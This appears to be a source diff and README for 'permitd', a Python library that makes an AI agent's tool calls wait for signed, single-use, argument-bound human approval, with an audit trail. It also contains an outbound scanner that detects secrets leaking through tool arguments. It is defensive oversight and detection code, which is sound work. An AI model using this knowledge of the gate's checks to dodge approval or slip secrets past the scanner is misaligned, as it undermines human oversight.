return -sum((c / n) * math.log2(c / n) for c in counts.values())
|
|
123
|
+
|
|
124
|
+
|
|
125
|
+
def _scan_high_entropy(text: str) -> str:
|
|
126
|
+
"""Backstop for opaque secrets that match no named prefix: a long
|
|
127
|
+
contiguous token, high entropy, AND mixed character classes — base64/hex
|
|
128
|
+
secrets have all three; English words and tidy URL slugs do not."""
|
|
129
|
+
text = _URL_RE.sub(" ", text)
|
|
130
|
+
for m in _TOKEN_RE.finditer(text):
|
|
131
|
+
tok = m.group(0)
|
|
132
|
+
if not (any(c.islower() for c in tok)
|
|
133
|
+
and any(c.isupper() for c in tok)
|
|
134
|
+
and any(c.isdigit() for c in tok)):
|
|
135
|
+
continue
|
|
136
|
+
if _shannon_entropy(tok) >= _ENTROPY_BITS_MIN:
|
|
137
|
+
return "contains a long high-entropy token that looks like a secret"
|
|
138
|
+
return ""
|
|
139
|
+
|
|
140
|
+
|
|
141
|
+
def scan_outbound(tool: str, args: Dict[str, Any]) -> Tuple[bool, str]:
|
|
142
|
+
"""Inspect outbound tool arguments before they run (or are proposed).
|
|
143
|
+
Returns (allow, reason); reason never embeds the offending value."""
|
|
144
|
+
try:
|
|
145
|
+
text = _stringify(args)
|
|
146
|
+
except Exception:
|
|
147
|
+
# Cannot evaluate the args → fail closed: a security gate treats
|
|
148
|
+
# "can't tell" as deny.
|
|
149
|
+
return False, "outbound arguments could not be inspected (failed closed)"
|
|
150
|
+
if not text:
|
|
151
|
+
return True, ""
|
|
152
|
+
for scan in (_scan_credentials, _scan_env_secrets, _scan_high_entropy):
|
|
153
|
+
reason = scan(text)
|
|
154
|
+
if reason:
|
|
155
|
+
return False, reason
|
|
156
|
+
return True, ""
|
permitd/kernel.py
ADDED
|
@@ -0,0 +1,247 @@
|
|
|
1
|
+
"""The permit kernel: propose -> approve -> execute (verify + burn) -> audit.
|
|
2
|
+
|
|
3
|
+
The contract (security lives here):
|
|
4
|
+
|
|
5
|
+
PROPOSE `propose()` records the exact (tool, canonicalized args) and
|
|
6
|
+
returns a Permit. Nothing has run.
|
|
7
|
+
APPROVE `approve()` mints a single-use HMAC-signed token bound to
|
|
8
|
+
sha256(tool + canonical args), with a short TTL.
|
|
9
|
+
EXECUTE `execute()` re-checks the SAME (tool, args) against the permit:
|
|
10
|
+
signature recomputes, binding matches, unexpired, unused — the
|
|
11
|
+
burn is atomic — and only then the tool runs. One audit line lands.
|
|
12
|
+
DENY `deny()` discards the proposal; any minted token dies with it.
|
|
13
|
+
|
|
14
|
+
Every non-execute outcome is fail-closed: a missing, expired, mismatched,
|
|
15
|
+
tampered, or reused permit is refused, and the refusal is audited. Approval
|
|
16
|
+
for "send X to Alice" can neither be replayed nor bent to "send Y to Eve" —
|
|
17
|
+
the args hash and the atomic burn see to that.
|
|
18
|
+
"""
|
|
19
|
+
from __future__ import annotations
|
|
20
|
+
|
|
21
|
+
import hashlib
|
|
22
|
+
import hmac
|
|
23
|
+
import os
|
|
24
|
+
import secrets as _secrets
|
|
25
|
+
import stat
|
|
26
|
+
from datetime import datetime, timezone
|
|
27
|
+
from pathlib import Path
|
|
28
|
+
from typing import Any, Callable, Dict, List, Optional, Tuple
|
|
29
|
+
|
|
30
|
+
from .audit import AuditLog, summarize_args
|
|
31
|
+
from .binding import binding_hash
|
|
32
|
+
from .permit import APPROVED, DENIED, EXPIRED, PROPOSED, Permit
|
|
33
|
+
from .store import MemoryStore, PermitStore
|
|
34
|
+
|
|
35
|
+
DEFAULT_TTL_SECONDS = 300
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
class PermitError(Exception):
|
|
39
|
+
"""A permit operation was refused. `reason` is a short machine-readable
|
|
40
|
+
label (also the audit label); str(e) is the human sentence."""
|
|
41
|
+
|
|
42
|
+
def __init__(self, reason: str, message: Optional[str] = None) -> None:
|
|
43
|
+
self.reason = reason
|
|
44
|
+
super().__init__(message or reason)
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def load_or_create_secret(path: str | Path) -> bytes:
|
|
48
|
+
"""Read the HMAC secret from `path`, creating it (0600) on first use so a
|
|
49
|
+
library user and the `permitd` CLI sharing a store also share the secret."""
|
|
50
|
+
p = Path(path)
|
|
51
|
+
if p.exists():
|
|
52
|
+
return p.read_bytes().strip()
|
|
53
|
+
p.parent.mkdir(parents=True, exist_ok=True)
|
|
54
|
+
secret = _secrets.token_hex(32).encode("ascii")
|
|
55
|
+
p.write_bytes(secret + b"\n")
|
|
56
|
+
try:
|
|
57
|
+
p.chmod(stat.S_IRUSR | stat.S_IWUSR)
|
|
58
|
+
except OSError:
|
|
59
|
+
pass
|
|
60
|
+
return secret
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
def _resolve_secret(secret: Optional[str | bytes], secret_path: Optional[str | Path]) -> bytes:
|
|
64
|
+
if secret is not None:
|
|
65
|
+
return secret.encode("utf-8") if isinstance(secret, str) else secret
|
|
66
|
+
env = os.getenv("PERMITD_SECRET")
|
|
67
|
+
if env:
|
|
68
|
+
return env.encode("utf-8")
|
|
69
|
+
if secret_path is not None:
|
|
70
|
+
return load_or_create_secret(secret_path)
|
|
71
|
+
# Ephemeral secret: fine for in-memory kernels; a persistent store shared
|
|
72
|
+
# across processes should pass `secret` or `secret_path`.
|
|
73
|
+
return _secrets.token_hex(32).encode("ascii")
|
|
74
|
+
|
|
75
|
+
|
|
76
|
+
class PermitKernel:
|
|
77
|
+
def __init__(
|
|
78
|
+
self,
|
|
79
|
+
store: Optional[PermitStore] = None,
|
|
80
|
+
*,
|
|
81
|
+
secret: Optional[str | bytes] = None,
|
|
82
|
+
secret_path: Optional[str | Path] = None,
|
|
83
|
+
ttl_seconds: int = DEFAULT_TTL_SECONDS,
|
|
84
|
+
audit: Optional[AuditLog] = None,
|
|
85
|
+
clock: Optional[Callable[[], datetime]] = None,
|
|
86
|
+
) -> None:
|
|
87
|
+
self.store: PermitStore = store if store is not None else MemoryStore()
|
|
88
|
+
self.ttl_seconds = ttl_seconds
|
|
89
|
+
self.audit = audit
|
|
90
|
+
self._secret = _resolve_secret(secret, secret_path)
|
|
91
|
+
self._now = clock or (lambda: datetime.now(timezone.utc))
|
|
92
|
+
|
|
93
|
+
# ── time ─────────────────────────────────────────────────────────────
|
|
94
|
+
def _age_seconds(self, iso: Optional[str]) -> float:
|
|
95
|
+
try:
|
|
96
|
+
t = datetime.fromisoformat(iso or "")
|
|
97
|
+
if t.tzinfo is None:
|
|
98
|
+
t = t.replace(tzinfo=timezone.utc)
|
|
99
|
+
return (self._now() - t).total_seconds()
|
|
100
|
+
except Exception:
|
|
101
|
+
return float("inf") # unparseable timestamp → expired (fail closed)
|
|
102
|
+
|
|
103
|
+
def _expire_if_stale(self, permit: Permit) -> Permit:
|
|
104
|
+
"""Both clocks are bounded: a proposal is approvable for ttl after
|
|
105
|
+
propose; a minted approval is executable for ttl after approve."""
|
|
106
|
+
stale = (
|
|
107
|
+
(permit.status == PROPOSED and self._age_seconds(permit.created_at) > permit.ttl_seconds)
|
|
108
|
+
or (permit.status == APPROVED and self._age_seconds(permit.approved_at) > permit.ttl_seconds)
|
|
109
|
+
)
|
|
110
|
+
if stale:
|
|
111
|
+
permit.status = EXPIRED
|
|
112
|
+
permit.token = None
|
|
113
|
+
self.store.update(permit)
|
|
114
|
+
return permit
|
|
115
|
+
|
|
116
|
+
# ── signing ──────────────────────────────────────────────────────────
|
|
117
|
+
def _sign(self, permit_id: str, bhash: str, approved_at: str) -> str:
|
|
118
|
+
msg = f"{permit_id}.{bhash}.{approved_at}".encode("utf-8")
|
|
119
|
+
return hmac.new(self._secret, msg, hashlib.sha256).hexdigest()
|
|
120
|
+
|
|
121
|
+
def _log(self, event: str, permit: Optional[Permit] = None, **extra: Any) -> None:
|
|
122
|
+
if self.audit is None:
|
|
123
|
+
return
|
|
124
|
+
entry: Dict[str, Any] = {"event": event}
|
|
125
|
+
if permit is not None:
|
|
126
|
+
entry.update({
|
|
127
|
+
"permit_id": permit.id,
|
|
128
|
+
"tool": permit.tool,
|
|
129
|
+
"args": summarize_args(permit.args),
|
|
130
|
+
})
|
|
131
|
+
entry.update(extra)
|
|
132
|
+
self.audit.log(entry)
|
|
133
|
+
|
|
134
|
+
# ── PROPOSE ──────────────────────────────────────────────────────────
|
|
135
|
+
def propose(self, tool: str, args: Optional[Dict[str, Any]] = None) -> Permit:
|
|
136
|
+
"""Record a pending call and return the Permit. Nothing executes here —
|
|
137
|
+
an approval must be minted before the call can run at all."""
|
|
138
|
+
permit = Permit(
|
|
139
|
+
id="PRM-" + _secrets.token_hex(6),
|
|
140
|
+
tool=tool,
|
|
141
|
+
args=dict(args or {}),
|
|
142
|
+
binding_hash=binding_hash(tool, args),
|
|
143
|
+
status=PROPOSED,
|
|
144
|
+
created_at=self._now().isoformat(),
|
|
145
|
+
ttl_seconds=self.ttl_seconds,
|
|
146
|
+
)
|
|
147
|
+
self.store.create(permit)
|
|
148
|
+
self._log("proposed", permit)
|
|
149
|
+
return permit
|
|
150
|
+
|
|
151
|
+
def get(self, permit_id: str) -> Optional[Permit]:
|
|
152
|
+
permit = self.store.get(permit_id)
|
|
153
|
+
return self._expire_if_stale(permit) if permit else None
|
|
154
|
+
|
|
155
|
+
def pending(self) -> List[Permit]:
|
|
156
|
+
"""Proposals still awaiting a decision and not yet expired."""
|
|
157
|
+
out = []
|
|
158
|
+
for permit in self.store.list(status=PROPOSED):
|
|
159
|
+
if self._expire_if_stale(permit).status == PROPOSED:
|
|
160
|
+
out.append(permit)
|
|
161
|
+
return out
|
|
162
|
+
|
|
163
|
+
# ── APPROVE / DENY ───────────────────────────────────────────────────
|
|
164
|
+
def approve(self, permit_id: str) -> Permit:
|
|
165
|
+
"""Operator approves. Mints the one-shot HMAC token scoped to the
|
|
166
|
+
permit's (tool, args) hash. Raises PermitError on anything else."""
|
|
167
|
+
permit = self.store.get(permit_id)
|
|
168
|
+
if permit is None:
|
|
169
|
+
raise PermitError("unknown_permit", f"no permit {permit_id}")
|
|
170
|
+
permit = self._expire_if_stale(permit)
|
|
171
|
+
if permit.status != PROPOSED:
|
|
172
|
+
self._log("approve_refused", permit, reason=f"already_{permit.status}")
|
|
173
|
+
raise PermitError(f"already_{permit.status}",
|
|
174
|
+
f"{permit_id} is {permit.status}, not approvable")
|
|
175
|
+
permit.approved_at = self._now().isoformat()
|
|
176
|
+
permit.token = self._sign(permit.id, permit.binding_hash, permit.approved_at)
|
|
177
|
+
permit.status = APPROVED
|
|
178
|
+
self.store.update(permit)
|
|
179
|
+
self._log("approved", permit)
|
|
180
|
+
return permit
|
|
181
|
+
|
|
182
|
+
def deny(self, permit_id: str) -> Permit:
|
|
183
|
+
permit = self.store.get(permit_id)
|
|
184
|
+
if permit is None:
|
|
185
|
+
raise PermitError("unknown_permit", f"no permit {permit_id}")
|
|
186
|
+
if permit.status not in (PROPOSED, APPROVED):
|
|
187
|
+
raise PermitError(f"already_{permit.status}",
|
|
188
|
+
f"{permit_id} is {permit.status}, not deniable")
|
|
189
|
+
permit.status = DENIED
|
|
190
|
+
permit.decided_at = self._now().isoformat()
|
|
191
|
+
permit.token = None # any minted token is dead on deny
|
|
192
|
+
self.store.update(permit)
|
|
193
|
+
self._log("denied", permit)
|
|
194
|
+
return permit
|
|
195
|
+
|
|
196
|
+
# ── VERIFY + BURN ────────────────────────────────────────────────────
|
|
197
|
+
def verify_and_burn(self, tool: str, args: Optional[Dict[str, Any]],
|
|
198
|
+
permit_id: str) -> Tuple[bool, str]:
|
|
199
|
+
"""Fail-closed check run at execute time. Passes only if the permit
|
|
200
|
+
was approved for THIS exact (tool, args), its signature recomputes
|
|
201
|
+
(store-tamper check), it is unexpired, and this caller wins the atomic
|
|
202
|
+
burn. Returns (ok, reason); reason is the audit/refusal label."""
|
|
203
|
+
if not permit_id:
|
|
204
|
+
return False, "missing_permit"
|
|
205
|
+
permit = self.store.get(permit_id)
|
|
206
|
+
if permit is None:
|
|
207
|
+
return False, "unknown_permit"
|
|
208
|
+
permit = self._expire_if_stale(permit)
|
|
209
|
+
if permit.status != APPROVED:
|
|
210
|
+
return False, {PROPOSED: "not_approved", DENIED: "denied",
|
|
211
|
+
EXPIRED: "expired"}.get(permit.status, "already_used")
|
|
212
|
+
expected = self._sign(permit.id, permit.binding_hash, permit.approved_at or "")
|
|
213
|
+
if not permit.token or not hmac.compare_digest(permit.token, expected):
|
|
214
|
+
return False, "bad_signature"
|
|
215
|
+
if permit.binding_hash != binding_hash(tool, args):
|
|
216
|
+
return False, "args_mismatch"
|
|
217
|
+
if not self.store.burn(permit.id, self._now().isoformat()):
|
|
218
|
+
return False, "already_used" # lost the race — one-shot holds
|
|
219
|
+
return True, "ok"
|
|
220
|
+
|
|
221
|
+
# ── EXECUTE ──────────────────────────────────────────────────────────
|
|
222
|
+
def execute(self, tool: str, args: Optional[Dict[str, Any]],
|
|
223
|
+
permit_id: str, runner: Callable[..., Any]) -> Any:
|
|
224
|
+
"""Verify + burn, then run `runner(**args)`. Refusals raise PermitError
|
|
225
|
+
and are audited; the successful execution lands its audit line too."""
|
|
226
|
+
args = dict(args or {})
|
|
227
|
+
ok, reason = self.verify_and_burn(tool, args, permit_id)
|
|
228
|
+
if not ok:
|
|
229
|
+
if self.audit is not None:
|
|
230
|
+
self.audit.log({"event": "refused", "permit_id": permit_id,
|
|
231
|
+
"tool": tool, "args": summarize_args(args),
|
|
232
|
+
"reason": reason})
|
|
233
|
+
raise PermitError(reason, f"{tool}: permit {reason} — refused. "
|
|
234
|
+
"An approved action runs only against a fresh, "
|
|
235
|
+
"matching, operator-minted permit.")
|
|
236
|
+
try:
|
|
237
|
+
result = runner(**args)
|
|
238
|
+
except Exception as e:
|
|
239
|
+
if self.audit is not None:
|
|
240
|
+
self.audit.log({"event": "failed", "permit_id": permit_id,
|
|
241
|
+
"tool": tool, "args": summarize_args(args),
|
|
242
|
+
"error": str(e)})
|
|
243
|
+
raise
|
|
244
|
+
if self.audit is not None:
|
|
245
|
+
self.audit.log({"event": "executed", "permit_id": permit_id,
|
|
246
|
+
"tool": tool, "args": summarize_args(args), "ok": True})
|
|
247
|
+
return result
|
permitd/permit.py
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
"""The Permit record and its lifecycle states."""
|
|
2
|
+
from __future__ import annotations
|
|
3
|
+
|
|
4
|
+
from dataclasses import dataclass, field
|
|
5
|
+
from typing import Any, Dict, Optional
|
|
6
|
+
|
|
7
|
+
# Lifecycle: PROPOSED -> APPROVED -> EXECUTED
|
|
8
|
+
# -> DENIED
|
|
9
|
+
# (PROPOSED or APPROVED past TTL) -> EXPIRED
|
|
10
|
+
PROPOSED = "proposed"
|
|
11
|
+
APPROVED = "approved"
|
|
12
|
+
DENIED = "denied"
|
|
13
|
+
EXECUTED = "executed"
|
|
14
|
+
EXPIRED = "expired"
|
|
15
|
+
|
|
16
|
+
STATUSES = {PROPOSED, APPROVED, DENIED, EXECUTED, EXPIRED}
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
@dataclass
|
|
20
|
+
class Permit:
|
|
21
|
+
"""One proposed tool call and the state of its authorization.
|
|
22
|
+
|
|
23
|
+
`token` is the HMAC signature minted at approve time; it never appears in
|
|
24
|
+
`public()` output — surfaces that render permits must not leak it."""
|
|
25
|
+
id: str
|
|
26
|
+
tool: str
|
|
27
|
+
args: Dict[str, Any] = field(default_factory=dict)
|
|
28
|
+
binding_hash: str = ""
|
|
29
|
+
status: str = PROPOSED
|
|
30
|
+
created_at: str = ""
|
|
31
|
+
approved_at: Optional[str] = None
|
|
32
|
+
decided_at: Optional[str] = None
|
|
33
|
+
executed_at: Optional[str] = None
|
|
34
|
+
token: Optional[str] = None
|
|
35
|
+
ttl_seconds: int = 300
|
|
36
|
+
|
|
37
|
+
def public(self) -> Dict[str, Any]:
|
|
38
|
+
"""The view handed to UIs and models. Full args on purpose: the
|
|
39
|
+
approval surface is the operator's informed-consent surface, so it
|
|
40
|
+
must show the exact thing being authorized — but never the token."""
|
|
41
|
+
return {
|
|
42
|
+
"id": self.id,
|
|
43
|
+
"tool": self.tool,
|
|
44
|
+
"args": dict(self.args),
|
|
45
|
+
"status": self.status,
|
|
46
|
+
"created_at": self.created_at,
|
|
47
|
+
"ttl_seconds": self.ttl_seconds,
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
def to_row(self) -> Dict[str, Any]:
|
|
51
|
+
return {
|
|
52
|
+
"id": self.id,
|
|
53
|
+
"tool": self.tool,
|
|
54
|
+
"args": dict(self.args),
|
|
55
|
+
"binding_hash": self.binding_hash,
|
|
56
|
+
"status": self.status,
|
|
57
|
+
"created_at": self.created_at,
|
|
58
|
+
"approved_at": self.approved_at,
|
|
59
|
+
"decided_at": self.decided_at,
|
|
60
|
+
"executed_at": self.executed_at,
|
|
61
|
+
"token": self.token,
|
|
62
|
+
"ttl_seconds": self.ttl_seconds,
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
@classmethod
|
|
66
|
+
def from_row(cls, row: Dict[str, Any]) -> "Permit":
|
|
67
|
+
return cls(**{k: row.get(k) for k in (
|
|
68
|
+
"id", "tool", "args", "binding_hash", "status", "created_at",
|
|
69
|
+
"approved_at", "decided_at", "executed_at", "token", "ttl_seconds",
|
|
70
|
+
)})
|
permitd/store.py
ADDED
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
"""Pluggable permit storage.
|
|
2
|
+
|
|
3
|
+
The kernel talks to a small protocol; two implementations ship:
|
|
4
|
+
|
|
5
|
+
- SqliteStore (default): durable, and the single-use burn is one atomic
|
|
6
|
+
UPDATE ... WHERE status='approved', so two processes racing the same permit
|
|
7
|
+
cannot both pass — no application-level lock required.
|
|
8
|
+
- MemoryStore: tests and ephemeral gates.
|
|
9
|
+
|
|
10
|
+
Any other backend (Postgres, Redis) only needs the same five methods; keep
|
|
11
|
+
`burn` compare-and-swap semantics or the one-shot guarantee is lost.
|
|
12
|
+
"""
|
|
13
|
+
from __future__ import annotations
|
|
14
|
+
|
|
15
|
+
import json
|
|
16
|
+
import sqlite3
|
|
17
|
+
import threading
|
|
18
|
+
from pathlib import Path
|
|
19
|
+
from typing import Dict, List, Optional, Protocol
|
|
20
|
+
|
|
21
|
+
from .permit import APPROVED, EXECUTED, Permit
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
class PermitStore(Protocol):
|
|
25
|
+
def create(self, permit: Permit) -> None: ...
|
|
26
|
+
def get(self, permit_id: str) -> Optional[Permit]: ...
|
|
27
|
+
def update(self, permit: Permit) -> None: ...
|
|
28
|
+
def burn(self, permit_id: str, executed_at: str) -> bool:
|
|
29
|
+
"""Atomically flip APPROVED -> EXECUTED. Returns True only for the one
|
|
30
|
+
caller that won; a second attempt on the same permit returns False."""
|
|
31
|
+
...
|
|
32
|
+
def list(self, status: Optional[str] = None) -> List[Permit]: ...
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
class MemoryStore:
|
|
36
|
+
def __init__(self) -> None:
|
|
37
|
+
self._rows: Dict[str, Permit] = {}
|
|
38
|
+
self._lock = threading.Lock()
|
|
39
|
+
|
|
40
|
+
def create(self, permit: Permit) -> None:
|
|
41
|
+
with self._lock:
|
|
42
|
+
self._rows[permit.id] = Permit.from_row(permit.to_row())
|
|
43
|
+
|
|
44
|
+
def get(self, permit_id: str) -> Optional[Permit]:
|
|
45
|
+
with self._lock:
|
|
46
|
+
p = self._rows.get(permit_id)
|
|
47
|
+
return Permit.from_row(p.to_row()) if p else None
|
|
48
|
+
|
|
49
|
+
def update(self, permit: Permit) -> None:
|
|
50
|
+
with self._lock:
|
|
51
|
+
self._rows[permit.id] = Permit.from_row(permit.to_row())
|
|
52
|
+
|
|
53
|
+
def burn(self, permit_id: str, executed_at: str) -> bool:
|
|
54
|
+
with self._lock:
|
|
55
|
+
p = self._rows.get(permit_id)
|
|
56
|
+
if p is None or p.status != APPROVED:
|
|
57
|
+
return False
|
|
58
|
+
p.status = EXECUTED
|
|
59
|
+
p.executed_at = executed_at
|
|
60
|
+
return True
|
|
61
|
+
|
|
62
|
+
def list(self, status: Optional[str] = None) -> List[Permit]:
|
|
63
|
+
with self._lock:
|
|
64
|
+
rows = [Permit.from_row(p.to_row()) for p in self._rows.values()]
|
|
65
|
+
if status is not None:
|
|
66
|
+
rows = [p for p in rows if p.status == status]
|
|
67
|
+
return sorted(rows, key=lambda p: p.created_at)
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
_SCHEMA = """
|
|
71
|
+
CREATE TABLE IF NOT EXISTS permits (
|
|
72
|
+
id TEXT PRIMARY KEY,
|
|
73
|
+
tool TEXT NOT NULL,
|
|
74
|
+
args TEXT NOT NULL,
|
|
75
|
+
binding_hash TEXT NOT NULL,
|
|
76
|
+
status TEXT NOT NULL,
|
|
77
|
+
created_at TEXT NOT NULL,
|
|
78
|
+
approved_at TEXT,
|
|
79
|
+
decided_at TEXT,
|
|
80
|
+
executed_at TEXT,
|
|
81
|
+
token TEXT,
|
|
82
|
+
ttl_seconds INTEGER NOT NULL
|
|
83
|
+
)
|
|
84
|
+
"""
|
|
85
|
+
|
|
86
|
+
_COLS = ("id", "tool", "args", "binding_hash", "status", "created_at",
|
|
87
|
+
"approved_at", "decided_at", "executed_at", "token", "ttl_seconds")
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
class SqliteStore:
|
|
91
|
+
def __init__(self, path: str | Path) -> None:
|
|
92
|
+
self.path = Path(path)
|
|
93
|
+
self.path.parent.mkdir(parents=True, exist_ok=True)
|
|
94
|
+
with self._conn() as con:
|
|
95
|
+
con.execute(_SCHEMA)
|
|
96
|
+
|
|
97
|
+
def _conn(self) -> sqlite3.Connection:
|
|
98
|
+
con = sqlite3.connect(self.path, timeout=10)
|
|
99
|
+
con.row_factory = sqlite3.Row
|
|
100
|
+
return con
|
|
101
|
+
|
|
102
|
+
@staticmethod
|
|
103
|
+
def _to_permit(row: sqlite3.Row) -> Permit:
|
|
104
|
+
d = dict(row)
|
|
105
|
+
d["args"] = json.loads(d["args"] or "{}")
|
|
106
|
+
return Permit.from_row(d)
|
|
107
|
+
|
|
108
|
+
def create(self, permit: Permit) -> None:
|
|
109
|
+
row = permit.to_row()
|
|
110
|
+
row["args"] = json.dumps(row["args"], ensure_ascii=False)
|
|
111
|
+
with self._conn() as con:
|
|
112
|
+
con.execute(
|
|
113
|
+
f"INSERT INTO permits ({','.join(_COLS)}) "
|
|
114
|
+
f"VALUES ({','.join('?' for _ in _COLS)})",
|
|
115
|
+
tuple(row[c] for c in _COLS),
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
def get(self, permit_id: str) -> Optional[Permit]:
|
|
119
|
+
with self._conn() as con:
|
|
120
|
+
row = con.execute("SELECT * FROM permits WHERE id = ?", (permit_id,)).fetchone()
|
|
121
|
+
return self._to_permit(row) if row else None
|
|
122
|
+
|
|
123
|
+
def update(self, permit: Permit) -> None:
|
|
124
|
+
row = permit.to_row()
|
|
125
|
+
row["args"] = json.dumps(row["args"], ensure_ascii=False)
|
|
126
|
+
sets = ",".join(f"{c} = ?" for c in _COLS if c != "id")
|
|
127
|
+
with self._conn() as con:
|
|
128
|
+
con.execute(
|
|
129
|
+
f"UPDATE permits SET {sets} WHERE id = ?",
|
|
130
|
+
tuple(row[c] for c in _COLS if c != "id") + (permit.id,),
|
|
131
|
+
)
|
|
132
|
+
|
|
133
|
+
def burn(self, permit_id: str, executed_at: str) -> bool:
|
|
134
|
+
with self._conn() as con:
|
|
135
|
+
cur = con.execute(
|
|
136
|
+
"UPDATE permits SET status = ?, executed_at = ? "
|
|
137
|
+
"WHERE id = ? AND status = ?",
|
|
138
|
+
(EXECUTED, executed_at, permit_id, APPROVED),
|
|
139
|
+
)
|
|
140
|
+
return cur.rowcount == 1
|
|
141
|
+
|
|
142
|
+
def list(self, status: Optional[str] = None) -> List[Permit]:
|
|
143
|
+
q = "SELECT * FROM permits"
|
|
144
|
+
params: tuple = ()
|
|
145
|
+
if status is not None:
|
|
146
|
+
q += " WHERE status = ?"
|
|
147
|
+
params = (status,)
|
|
148
|
+
q += " ORDER BY created_at"
|
|
149
|
+
with self._conn() as con:
|
|
150
|
+
rows = con.execute(q, params).fetchall()
|
|
151
|
+
return [self._to_permit(r) for r in rows]
|
|
@@ -0,0 +1,208 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: permitd
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Governed tool execution for agent loops: propose -> permit -> approve -> execute -> audit. Fail-closed, zero dependencies.
|
|
5
|
+
Project-URL: Homepage, https://github.com/hbar-systems/permitd
|
|
6
|
+
Project-URL: Issues, https://github.com/hbar-systems/permitd/issues
|
|
7
|
+
Author: hbar-systems
|
|
8
|
+
License-Expression: MIT
|
|
9
|
+
License-File: LICENSE
|
|
10
|
+
Keywords: agent,agent-loops,approval,audit,governance,human-in-the-loop,loop-engineering,mcp,permits,tool-use
|
|
11
|
+
Classifier: Development Status :: 4 - Beta
|
|
12
|
+
Classifier: Intended Audience :: Developers
|
|
13
|
+
Classifier: Operating System :: OS Independent
|
|
14
|
+
Classifier: Programming Language :: Python :: 3
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.14
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: Software Development :: Libraries
|
|
22
|
+
Requires-Python: >=3.10
|
|
23
|
+
Provides-Extra: dev
|
|
24
|
+
Requires-Dist: pytest>=8; extra == 'dev'
|
|
25
|
+
Provides-Extra: mcp
|
|
26
|
+
Requires-Dist: mcp>=1.0; extra == 'mcp'
|
|
27
|
+
Description-Content-Type: text/markdown
|
|
28
|
+
|
|
29
|
+
# permitd
|
|
30
|
+
|
|
31
|
+
**Governed tool execution for agent loops.**
|
|
32
|
+
|
|
33
|
+

|
|
34
|
+
|
|
35
|
+
Your agent loop wants to send the email, write the file, hit the API. You want
|
|
36
|
+
a human decision in between — one that an agent cannot fake, replay, or bend
|
|
37
|
+
to different arguments — and a line in an audit log either way.
|
|
38
|
+
|
|
39
|
+
```
|
|
40
|
+
propose(tool, args) ──> permit (signed, TTL, single-use)
|
|
41
|
+
──> approve (a human, out-of-band: CLI, or any callable)
|
|
42
|
+
──> execute (verify + burn, atomically)
|
|
43
|
+
──> one audit line lands (append-only JSONL)
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
permitd is that flow as a small, stdlib-only Python library. It is also
|
|
47
|
+
**loop state**: the permit lives in SQLite, so a call proposed in turn N of
|
|
48
|
+
your agent loop is approved from another terminal and executed in turn N+K —
|
|
49
|
+
across restarts, across processes.
|
|
50
|
+
|
|
51
|
+
Every non-execute outcome is fail-closed. A missing, expired, denied,
|
|
52
|
+
tampered, argument-mismatched, or already-used permit is refused, and the
|
|
53
|
+
refusal is audited too.
|
|
54
|
+
|
|
55
|
+
## Install
|
|
56
|
+
|
|
57
|
+
```
|
|
58
|
+
pip install permitd
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
Python ≥ 3.10, zero dependencies.
|
|
62
|
+
|
|
63
|
+
## Sixty seconds, two terminals
|
|
64
|
+
|
|
65
|
+
**Terminal 1 — the agent side** (`agent.py`):
|
|
66
|
+
|
|
67
|
+
```python
|
|
68
|
+
import time
|
|
69
|
+
from permitd import Gate, RED
|
|
70
|
+
|
|
71
|
+
gate = Gate(db="permitd.db")
|
|
72
|
+
|
|
73
|
+
@gate.tool(tier=RED, description="send a message to someone")
|
|
74
|
+
def send_message(to, body):
|
|
75
|
+
return f"delivered to {to}: {body!r}"
|
|
76
|
+
|
|
77
|
+
args = {"to": "alice", "body": "hello from the loop"}
|
|
78
|
+
r = gate.call("send_message", args)
|
|
79
|
+
print(r.error) # "... permit PRM-xxxx is proposed ..."
|
|
80
|
+
|
|
81
|
+
pid = r.permit["id"]
|
|
82
|
+
while gate.get(pid).status == "proposed": # this state survives restarts
|
|
83
|
+
time.sleep(1)
|
|
84
|
+
|
|
85
|
+
r = gate.call("send_message", args, permit_id=pid)
|
|
86
|
+
print(r.result if r.ok else r.error)
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
```
|
|
90
|
+
python agent.py
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
**Terminal 2 — the human side:**
|
|
94
|
+
|
|
95
|
+
```
|
|
96
|
+
$ permitd pending
|
|
97
|
+
1 pending permit(s):
|
|
98
|
+
PRM-3f9c21ab44de [proposed] send_message
|
|
99
|
+
args: {"to": "alice", "body": "hello from the loop"}
|
|
100
|
+
proposed: 2026-07-29T18:12:03+00:00 ttl: 300s
|
|
101
|
+
|
|
102
|
+
$ permitd approve PRM-3f9c21ab44de
|
|
103
|
+
approved — PRM-3f9c21ab44de is executable for 300s, single use, bound to exactly these arguments
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
Terminal 1 wakes up and prints `delivered to alice: 'hello from the loop'`.
|
|
107
|
+
The trail:
|
|
108
|
+
|
|
109
|
+
```
|
|
110
|
+
$ permitd audit
|
|
111
|
+
{"ts": "...", "event": "proposed", "permit_id": "PRM-3f9c21ab44de", "tool": "send_message", ...}
|
|
112
|
+
{"ts": "...", "event": "approved", "permit_id": "PRM-3f9c21ab44de", ...}
|
|
113
|
+
{"ts": "...", "event": "executed", "permit_id": "PRM-3f9c21ab44de", "ok": true}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
That is the whole product: propose, approve, execute, audit line.
|
|
117
|
+
|
